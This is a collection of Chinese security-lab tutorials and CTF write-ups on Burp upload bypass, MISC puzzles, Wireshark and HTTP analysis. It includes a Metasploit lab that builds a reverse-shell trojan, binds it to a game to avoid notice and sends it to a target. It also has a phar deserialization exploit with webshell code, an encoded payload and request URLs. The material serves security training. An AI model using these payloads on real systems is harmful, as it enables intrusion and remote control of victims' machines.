如果开启URL-encode as you type表示对你输入的&,=等字符将会被URL编码替换。
Target模块
这个模块下有两个选项卡,Site map主要是将爬行的站点以树形结构显示,Scope主要是用来设置范围进行过滤。
有时当我们对一个目标网址进行测试时,Site map下会出现许多不相关的网址,我们可以使用Filter来过滤,只留下目标网址
点击Filter,勾选Show only in-scope items
此时Site map下只剩下目标网址了
然后我们随便点击一个目录又会出现许多功能
点击Remove from scope,比如我此时选择css,该目录就会消失,对应的Scope选项卡下便会多出一条记录
点击Spider this branch,burp就会对该目录进行爬行
点击Expand branch来展开分支,其他功能不是很常用,有兴趣的小伙伴可以自行研究哦。
Site map选项卡右边可以看到一些请求的信息,在Host下可以选择对链接进行高亮显示,comment下可以添加注释,针对单个链接也可进行右键操作。
三、使用burpsuite上传绕过服务端MIME类型检测
1.首先在桌面上新建一个1.txt,此处我写入“文件上传绕过测试!”。然后将后缀修改为jpg。
2.打开试验机地址10.1.1.59:81,输入用户名和密码,点击Upload
3.设置好代理,然后点击upload,burpsuite已经截获到了数据包,右击send to repeater
4.我们将Content-Type后的text/plain修改为image/jpeg
5.点击go,从右侧可以看到已经上传成功,我们在右下方输入1.jpg进行搜索刚才上传的图片。
6.关闭代理,打开搜索到的路径
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
CTF从入门到进阶之MISC
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:背景
CTF竞赛是安全圈喜闻乐见的竞赛模式,对于培养网络安全技术人才起到了很重要的作用。CTF起源于1996年DEFCON全球黑客大会,是Capture The Flag的简称。经过多年的发展,CTF这种比赛形式已经日益成熟。
CTF注重动手技能,深厚的理论功底厚积薄发,技术的卓越是建立在无数次训练的基础上,那么我们来看看有哪些不错的平台可以来用于比赛训练。
一般线上初选采用传统的夺旗赛模式,也就是在题目中设置一些标识,解题的目的就是为了找到标识并提交。通常包含的题目类型包括MISC、CRYPTO、PWN、REVERSE、WEB等。
MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。
CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。
PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。
REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。
WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。
本系列文章将会逐一介绍这五大传统类型的题目的攻略及经典题目的WriteUp,以此来帮助对信安感兴趣的小伙伴们通过CTF竞赛的方式更好地学习、掌握信息安全相关技能。
0x02MISC介绍
我们先从五大模块中的最有意思最好玩的一块开始说起,那就是MISC。
MISC,中文即杂项,包括隐写,数据还原,脑洞、社会工程、与信息安全相关的大数据等。
竞赛过程中解MISC时会涉及到各种脑洞,各种花式技巧,主要考察选手的快速理解、学习能力以及日常知识积累的广度、深度。
MISC这一块并不像PWN\REVERSE等需要深厚的理论基础,所以我们直接从经典题目开始入手。
0x03说明
0x04部分为WP,作为给小伙伴们提供结题思路之用,如果想获得好的训练效果,请先不要看0x04部分。前往文章开篇给出的链接下载题目自己先动手试试。
0x04CTF仿真题WP
1.紧急报文
密文都由ADFGX,百度一下,发现有个ADFGX密码
密码表如图
对应着解密即可
FA XX DD AG FF XG FD XG DD DG GA XF FA
flagxidianctf
提交:flag_Xd{hSh_ctf:flagxidianctf}
2.flag.xls先介绍最简单的方法
直接仍在winhex中然后查找flag关键字即可
别的方法也是半斤八两,因为打开xls它要密码,所以我们就用notepad或者notepad++打开都行,在搜索flag就行了
3.图片里的动漫
一张图片而已,果断拉到kali里binwalk
看到了ZIP
于是后缀改为.zip打开,得到flag.rar,需要密码,再次binwalk
发现.JPEG,于是改格式为.jpeg,打开发现是七龙珠的图片
题目提示是小写英文字母,七龙珠的英文是dragon ball,提示发现错误
考虑到图片是倒着的,所以答案也是倒着的,即逆序,得到答案
CTF{llabnogard}
4.Canon
下载后解压是一段mp3和一个压缩文件,压缩文件打不开先放着,我们先处理mp3
misc肯定会涉及到隐写,处理mp3的隐写一般使用mp3Stego,但是处理时需要密码,试试用标题Canon
打开文件夹,发现
打开txt,里面的就是前面的压缩文件的解压密码
解压后里面有个txt,目测是base64,但是这么长的base64让你解密是不合理的,所以考虑可能是某种类型的某件缺了些代码,补上后再按照相应的格式打开就行了
txt文件提示我们是png格式,所以直接后缀改为.png用winhex打开看看,发现没有明显的文件头
所以我们给它添加,这里直接用Python来,顺便生成最后的图片
import base64
def foo():
f=open(‘C:\Users\hasee\Downloads\mimimi\zip\pic_png.txt’).read()
fsave=open(‘pic.png’,’wb’)
addHeader=”89 50 4E 47 0D 0A 1A 0A”.replace(’ ‘,”).decode(‘hex’)
fsave.write(addHeader)
fsave.write(base64.b64decode(f))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘ok’
pass
打开生成后的图片得到答案
当然,非要base64解密也行,解密后把看上去干净点的代码复制到word里查找CTF就得到答案了
5.ROT-13变身了
rot-13作为置换暗码的一种都是数字怎么可能,所以应该想到ascii
题目提示回旋13,我们-13就行了
python中的chr可以自动转换,我们由此跑python
????表示为未知,给我们的MD5也查不出来,所以只能自己爆破了,爆破的思路大概就是:
?作为ASCII的可见字符,范围在32-126,有95种可能,四个????所以有95^4中可能,每种排列出来后再进行MD验证
由此思想来跑PYHTON
得出答案
6.解码磁带
只有字符’o’和下划线’‘,不免让我们想起二进制,只有0和1,却能表示所有信息,所以我们尝试用0,1替换o和
而究竟0对于o还是_呢?我们有例子可以得到
跑Python的思路是这样子的,换成二进制后再转换成ascii,然后相应解码即可,也可以参考这张图片
直接用二进制对应字母
python结果如下:
按照格式提交即可
7.功夫秘籍
下载来的是一个压缩包,打开它。。。我的天,居然打不开。扔到winhex看看,发现是png
本来想直接改成png的,但是想到改了之后还是要winhex,干脆直接搜索key,flag等关键字,找到了
目测base64,解码
目测栅栏,解码
提交时只需要提交{}里面的内容就行了
8.WTF?
打开一看一堆乱七八糟的东西,不过拉到最下面发现有=,base64解之
得到01的组合
数了一下有65536 = 256*256
正方形是吧
那么尝试组个正方形出来
作图的话processing挺好用
扫一扫就出来了
9.社交网络
下载来的压缩文件需要密码,爆破之
解压后得到文件,右键查看属性,得到flag
10.有趣的文件
最前面的8位是地址,不用管,后面的应该是文件头,百度afbc 1c27
看样子应该是.7z的压缩文件,不过给出的acsii里面没有37 7a,这就是缺少的,需要我们补上
,补上后发现什么文件也不是,问题出在哪里呢?
百度后发现每两位应该交换一下
这个任务太繁重了,本来还想这放在winhex里面手工的,这里直接Python 吧
def revStr(s):
news=””
for i in xrange(0,len(s),4):
news+=s[i+2:i+4]
news+=s[i:i+2]
return news
def foo():
f=open(‘funfile’)
s=”377a”
for line in f:
s+=revStr(line.strip()[8:].replace(’ ‘,”))
fsave=open(‘fun.7z’,’wb’)
fsave.write(s.decode(‘hex’))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘finished’
自动生成fun.7z压缩文件,解压后是一张阿狸的图片,拖进winhex看看,发现疑似flag的base64加密过的
复制后base64解码就行了
0x05结语
看到这儿,小伙伴们是不是觉得MISC很有意思呢,由于MISC的类型比较多,难免挂一漏万,不过我还是尽可能多地给小伙伴提供各种花式姿(知)势(识)。
MISC之路,漫漫其修远兮,且行且珍惜。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Kali渗透Windows服务器
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
这个实验主要让我们学习漏洞扫描技术基本原理,了解其在网络攻防中的作用,掌握使用Kali中的Metasploit对目标主机渗透,并根据报告做出相应的防护措施。
本次实战环境:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709525300001
实战步骤一
本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测试,并根据报告做出相应的防护措施,共分为3个实验步骤,详情如下;
1、 实战步骤一:生成setup.exe后门程序,即木马程序。
(1) 打开kali终端,输入ifconfig, 得到本机ip为192.168.189.130。
如下图:
(2)输入以下命令,使用msfpayload生成名为setup的后门程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下图:
(3) 进入setup.exe所在目录,修改属性:选择“允许以程序执行文件”。
如下图所示:
(4) 终端中输入首先msfconsole;然后输入use exploit/multi/handler来加载 exploit/multi/handler 模块;输入set LHOST 192.168.189.130来设置本地主机;然后输入exploit -z -j开始监听,如下图所示:
实战步骤二
将上面生成的木马程序与某个软件进行捆绑。
(1)可以在windows系统下使用exe捆绑软件将setup.exe和一个其他的某个安全软件合并为一个软件,这样在运行软件时两个软件同时运行,不会引起注意。在tools里面进入名为exekunbang的文件,先打开ExeBinder.exe捆绑软件。选择第一个要合并的软件,默认选择本软件中自带的小游戏程序:
点击下一步,选择第二个要捆绑的软件,即之前生成的木马程序setup.exe:
点击下一步,选择一个文件要保存的路径:
继续点击下一步,开始捆绑软件:
(2) 将捆绑后的软件发送给目标主机。
实战步骤三
检测目标主机,对目标主机进行渗透测试。
(2) 目标主机执行程序后,在kali终端中的检测程序会及时检测到。在检测到目标主机运行程序后,后门程序会反向连接到msf,之后msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。输入sessionss:
可以看到目标主机的ip为192.168.189.129,
(2)再继续输入sessions -i 1,之后可以对目标主机进行一系列的操作。如输入sysinfo可知道目标主机的系统信息;输入 getuid查看对方正在运行的用户。
要养成多思考多总结的习惯,对实验结果多去分析,这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
wireshark之文件还原
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本文涉及相关实验:wireshark之文件还原 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014122315591000001
实验目标:
黑客A通过ARP欺骗,使用wireshark获取了整个局域网内的网络流量信息。无意之中,他发现有人在某个网站上上传了一份文件。但是他不知道怎么样通过wireshark去还原这份文件,没办法,他将监听到的数据包保存为了一份wireshark的监听记录,打算去向你请教。你能帮助他找到那份上传的文件吗?
我们的任务分为3个部分:
1. 对抓到的包进行显示过滤,找到关键信息。
2. 对信息进行跟踪,确定上传文件的TCP流,并保存为二进制原始文件。
3. 对文件中上传文件的信息进行处理,去掉多余的包头和包尾,得到原始文件。
1.1 实验任务一
任务描述:使用wireshark导入监听数据包,对数据进行显示过滤,提取出来关键信息。
1. 打开catchme.pcapng,双击即可。会发现数据记录一共有148条。如果单纯的从开始到结尾去一条一条的审计,是非常费力的事情。而且实际操作过程中,148条记录,已经算是很少的了。
2. 好在wireshark为我们提供了强大的过滤显示功能。我们在filter中可以定义显示出来什么样的数据包。
3. 从题目我们可以明确,上传时访问的是个网站,因此我们需要进行协议过滤。在filter中输入http,表示我们要显示所有使用http协议的数据包。输入回车,或者点击旁边的APPLY按钮,就可以进行显示过滤。
从图上下方我们可以看到,数据包由原来的148个变成了32个。这样就很容易帮我们分析了。
4. 仔细分析,我们会在末尾左右的第143条数据记录中的info中看到upload这个词,我们怀疑这条就是涉及到上传的数据包。
如果你在此之前有些编写网站的经验,就会知道上传文件提交可以使用post一个表单的形式。所以,你也可以使用包过滤显示,选出所有使用post方法提交的数据包。我们可以输入http.request.method==”POST”进行包过滤。这时候的显示如下:
看到了吧,这时候只显示了唯一一条记录,就是我们刚才找到的序号为143的记录,是不是快了很多啊。因此,掌握数据包过滤,是熟练掌握wireshark的必备技能之一。
1.2 实验任务二
任务描述:确定POST这条数据包是否上传了文件,若存在则将数据dump出来。
1. 虽然我们看到了有upload关键字,有post方法,但是我们不能确定是不是真的就是上传文件的那个请求。我们来分析一下。双击该行。弹出协议分析框。点击+号,将子栏展开。
我们可以看到,确实是上传了文件,而且文件名是bingo.png.原来他上传的是一张图片。在上方红色部分,我们可以看到由于文件比较大,TCP协议对其进行了切片,一共切了5个片。我们点击下方的各个Frame,就可以看到每个包中的内容。
问题来了,能不能将这几个切片还原成一个流式会话,这样我们就能看到一个会话过程,而不是需要一个一个的去点击。
Wireshark还真可以做到。
2. 关闭这个界面,回到我们过滤后的那个POST包,右键Follow TCP Stream
这时候我们会看到:
整个会话都被还原了出来。我们看到了png的原始信息。继续往下拉,我们会看到有关蓝色的显示,这是服务器给我们的回应。我们的图片信息保存在请求部分,因此可以过滤掉响应部分。
因为文件肯定比响应大,所以我们选择6010那个。这时候就没有响应部分出现了。
3. 保存原始文件,以便下一步处理。我们已经知道,请求部分中包含了文件的原始信息。因此,我们可以先保存下来,然后处理一下,得到原始文件。
我们选择raw类型进行保存,表示使用二进制形式保存文件。
保存为任意格式的文件,这里我们保存为temp.bin
1.3 实验任务三
任务描述:
使用winhex对文件进行最终处理,并保存文件。
1. 将刚才保存的temp.bin用winhex打开。
会看到,文中包含请求信息和我们的图片信息,以及文件结尾的尾部信息。我们需要做的事情是确定图片文件的原始信息头和尾,去掉多余部分。
2. 回到wireshark中,会看到我们刚才的tcp stream流中,关于图片的头部分
在content-type: image/x-png后面有两个换行符,然后开始我们的原始文件。换行符用十六进制表示是 0D 0A.因为有两个,所以,我们在图片附近寻找0D 0A 0D 0A.后面的部分就表示图片的开始。
3. 回到winhex中,我们找到了上述数字
这时候我们需要去掉图片以上的部分。在00000000偏移处点击alt+1,表示选块开始。
在我们找到的0D 0A 0D 0A处的最后一个0A处点击alt+2.表示选块结束。这时候,我们就选中了图片之前的多余部分。
按下delete键,选择yes。
这时候文件中的多余头部已经被删除
4.回到wireshark中,我们看看图片传送完毕之后的尾部部分。
我们可以看到,这次是一个换行符。后面有些文件结束标志-------------,我们同样删除它们。
这时候我们的文件中就仅仅是原始图片的内容了。Ctrl+S保存。
最激动人心的一步来了。将我们的temp.bin改为temp.png.打开看下:
祝贺你,已经完成了我们本次实验,拿下神秘的key。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
老赛棍寒假复习计划——反序列化篇(一)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
xnuca个人赛题目解析
复现环境:
链接:https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A
提取码:7ryd
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
寒假难得有时间把这一年的比赛题目都好好整理一下,首先来的是xnuca个人赛的一道题目,比较新颖,属于中等难度的web phar写入和反序列化题目,貌似在其之后的DASCTF也考察了类似的知识点,因为时间实在久远,加上xnuca当时的一小部分源码实在是找不到了,就借用了DASCTF的部分代码来进行讲解,解题方式是一样的。
这道题目首先需要通过变量覆盖来利用file_get_contents读取template.php,然后通过template.php写入phar进行反序列化。
考点一:变量覆盖
首先是一个index.php
<?php
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
?>
extract变量覆盖。原理是:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
正常的用法通常用于把数组的值转化为变量,就好像把数组一个个解压出来成为变量一样,是不是很像extract的意思:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
这样就会把数组$my_array里面的键值和对应键名组合成为一个变量,等同于再次赋值
以前ctf考察的点基本都是如下形式的变量覆盖:
extract($_GET);
关于这个地方变量覆盖的原理,就要提到一个很关键的基础知识点,$GET,$POST,$REQUEST这三个全局变量的类型是数组(不信的话自己var_dump一下),实际上我们通过get输入的变量名会成为$GET数组里的键名,输入的变量值会成为$GET里的键值,因此extract函数才会由我们的get输入接收到了$GET这个数组,从而产生了变量覆盖。
本题目的写法为:
extract($_GET['var'], EXTR_OVERWRITE);
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
这个地方乍一看好像是说$_GET['var']这个变量,而不是数组,但是之前也有考察过如果通过get或者post方式输入一个数组的ctf题(没错,就是绕过md5比较的php黑魔法),只要我们在get或者post输入的变量的后面加上[],就代表我们输入的是一个数组。
例如下面就代表我们输入了一个数组
http://IP?var[]=a
把$_GET变量全dump出来为:
array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } }
说白了,就是把$_GET这个数组变量里键名为var的这个元组的键值设置为了一个数组,这个数组是:
array(1) { [0]=> string(1) "a" }
所以实际上我们还是可以通过题目中的
extract($_GET['var'], EXTR_OVERWRITE);
来进行变量覆盖。例如:
http://IP/?var[template][tp1]=aaa
这样就能将已经赋值过的template变量重新赋值为一个只含有一个元组且键名为tp1的数组
之前
array(3) {
["tp1"]=>
string(7) "tp1.tpl"
["tp2"]=>
string(7) "tp2.tpl"
["tp3"]=>
string(7) "tp3.tpl"
}
之后
array(1) {
["tp1"]=>
string(3) "aaa"
}
这里很多人有个误区:为啥不是单独覆盖template数组里的一个tp1,而是覆盖了全部呢?
因为?var[template][tp1]=aaa
等同于输入了
$template=array('tp1'=>'aaa');
而不是
$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
所以是全部覆盖
我们看到第一个文件index.php里面还有一个file_get_contents,想到可以文件读取。
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
思路:
$template[$tp]为我们要读取的文件名
$_GET["tp"] ——> $tp可控
array_key_exists判断$tp在$template数组中是否存在
存在则读取$template[$tp]指向的文件
所以我们
?var#=文件名&tp=a
这样template数组就剩一个a,然后他的值为我们要读取的文件名,然后tp等于a,读取$template[$tp]所指向的文件,也就是$template['a'],即我们变量覆盖进去的文件名。
访问得到
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
访问一下路径看到template.php源码,这里file_get_content读取到的并不是直接显示,而是被template.php写入到了某个地方,但是这个算是第一步的提示,直接访问就看到了template.php的源码,读完以后也会更理解整个过程。
<?php
error_reporting(0);
class Temp {
public $suffix;
public $content;
public $pattern;
public function __construct($content) {
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
}
}
?>
最关键的方法是我们的render(因为另外两个一个是构造方法用来给三个属性赋值,一个是析构方法用来触发render)
他做了两件事情
模板变量替换
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容"
可能乍一看看不懂,没事我们来分析:
也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到方法中,并且用这个全局变量的值去替换$content的值。
例如搭建一个本地环境
当你输入http://ip?content={{a}},则返回如下结果
匹配输入,含有{{([a-z]+)}},其中$matches为
Array ( [0] => {{a}} [1] => a )
global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render方法内,所以为了使用方法外的全局变量,得加一个global
global ${$matches[1]};
#探测外部是否有需要名字为$matches[1]的变量,
然后preg_replace将content里的$matches[1]给替换为那个变量的值
实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。
说白了就是,这段代码或者这道题应该是某个真实的cms上的代码阉割的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:)
写入文件
render做的第二件事情就是写入文件
首先给出了一个限制:
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。
真正写文件的的代码在这里:
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
这里思路
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码
变量覆盖,然后file_get_content读取我们输入的data流,然后被写入
file_get_contents触发phar
phar文件:
<?php
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");
#固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
#实例化和修改属性的主要代码
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";
#固定老两句
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
读取文件内容的base64可以用如下方式:
先php运行exp.php,生成phar.phar文件。
php -a 进入php交互式界面。
php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar");
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggia
然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符
第一步
http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAA
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
第二步 通过file_get_contents触发phar
http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
第三步
http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
就是写入的webshell
这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用data://协议写入,因为file_get_contents没有限制不能读取外部文件
http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1
但是xnuca他个人赛的时候没有网络,所以这个方法行不通,但是DASCTF可以用这个方法。
总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过data://流写入是关键。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
Wireshark数据抓包分析之HTTP协议
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
科普贴:
HTTP 是一个无状态的协议。无状态 是指客户端 (Web 浏览器)和 服务器之间不 需要建立持久的链接。这 意味着当一个客户端向服务器端发出请求,然后Web 服务器返回响应 ”*”(response) ,连接就被关闭了,在服务器端不保留连接的有关信息 .HTTP 遵 循请求 (Request)/ 应答 (Response) 模型。客户端(Web 浏览器) 向Web 服务器发送请求, Web 服务器处理请求并返回适当的应答。所有 HTTP 连 接都被构造成一套请求和应答。在 该过程中 要经过4 个 阶段,包括建立连接、发送请求信息、发送 响应信息和关闭连接,如下图所示:
下面 详细介绍上图中描述的HTTP 工作流程,如下
客户端 通过TCP 三次握手与服务器建立连接。
TCP 建立连接成功后,向 服务器发送HTTP 请求。
服务器 接收客户端的HTTP 请求后,将返回应答,并向客户端发送数据
客户端 通过TCP 四次断开,与服务器断开 TCP 连接。
在今天的实验中,我们将通过模拟局域网的两台机器之间的数据传输,配置好HFS软件,来抓取和分析HTTP数据。
根据实验环境,本实验的步骤如下:
1. 配置HFS 软件,获取 HTTP 的 GET数据和POST 数据
2. 分析HTTP数据包
实战步骤一 配置HFS软件,获取HTTP的GET数据和POST数据
在 局域网环境中,我们使用一个小工具来实现HTTP 服务器。先在 服务器上配置HFS
1 配置HFS软件
本地 解压,进入 文件夹,右键以管理员身份运行。如下
我们 先配置HFS ,这里能 达到我们的实验 要求,获取到GET 和 POST 数据包即可。点击左上角 的端口 ,输入 端口,这里我们用8080 , 如下,点击确定
在 虚拟文件系统区域,右键,选择“从磁盘 添加目录”, 选择一个真实 存在的目录(此处注意务必是真实存在的 ),弹出 的选择目录类型 中选择”真实 目录” ,此处 我们用桌面的解压缩目录, 可以看到目录 是红色的
右键 目录,点击设置”用户名及 密码”, 在弹出的对话框中输入 用户名和密码(demo/demo ), 点击 确定。
在右键 目录,点击”属性”, 选择”上传”sheet页 ,选中 任何人。点击确定,这样我们 就配置好了HFS 工具,可以在 客户端通过浏览器访问了。
2 获取HTTP的GET数据和POST数据
下面 我们在测试者 机器上,打开Wireshark 抓包工具, 过滤条件输入ip.addr == 10.1.1.33 ,然后输入服务器 中HFS给出 的网址,等待 服务器响应。成功 之后,可以在测试者机器的 浏览器上看到页面, 如下:
这时候, 我们已经获取 到了HTTP 的 GET 方法。 我们将Wireshark 获取的数据包保存为 HTTP-Get。
点击 页面的登录,在对话框中输入用户名密码(demo/demo ),确定 之后等待 服务器响应。成功 如下
接下来 ,双击页面的文件夹(等待 服务器响应), 同时重新启动Wireshark ,等 待页面刷新成功,
如 上图,会 在左侧 看到按钮 ,点击”上传”按钮 ,选择 文件,这里我们选择桌面上的“http-post.txt”,点击 上传。等待 服务器响应。提示 上传成功,如下
我们保存 抓包文件 ,名字 为HTTP-Post。 任务一,就 到这里。
实战步骤二 分析HTTP数据包
1 HTTP报文格式
HTTP 由请求和响应 两部分组成,所以对应的也有两种报文格式。下面分别 介绍HTTP 请求报文格式和 HTTP响应 报文格式。
HTTP 请求报文格式
以上 表格中,第1 行 为“ 请求行” , 第2 、3、4 行为 “请求 头部”, 第5 行 为空行,第6 行 为“请求 正文”。 下面分别 介绍这4 部分:
(1) 请求 行:由3部分组成,分别为:请求方法、URL(见备注1)以及协议版本,之间由空格分隔, 请求方法包括GET、POST等。 协议版本的格式为:HTTP/主版本号.次版本号,常用的有HTTP/1.0和HTTP/1.1。
(2) 请求头部包含很多客户端环境以及请求正文的有用信息。请求头部 由“关键字 :值”对 组成,每行一堆,关键字和值之间使用英文“:”分隔。
(3) 空行,这一行非常重要,必不可少。表示请求头部结束,下面就是请求正文。
(4) 请求正文: 可选部分,比如GET 请求就没有请求正文;POST 比如以提交表单数据方式为请求正文。
HTTP 响应报文格式
以上 表格中,第1 行 为“状态 行” , 第2 、3、4 行为 “响应 头部”, 第5 行 为空行,第6 行 为“响应 正文”。 下面分别 介绍这4 部分:
(1) 状态 行由 由3部分组成,分别为:协议版本,状态码,状态码描述,之间由空格分隔。 状态代码为3位数字,200~299的状态码表示成功,300~399的状态码指资源重定向,400~499的状态码指客户端请求出错,500~599的状态码指服务端出错(HTTP/1.1向协议中引入了信息性状态码,范围为100~199)。这里列举几个常见的:
状态码 说明 200 响应成功 400 客户端请求有语法错误,不能被服务器识别 404 请求资源不存在 500 服务器内部错误 (3) 空行,这一行非常重要,必不可少。表示响应头部结束(4) 响应 正文,服务器返回的文档,最常见的为HTML网页。
2 HTTP的头域
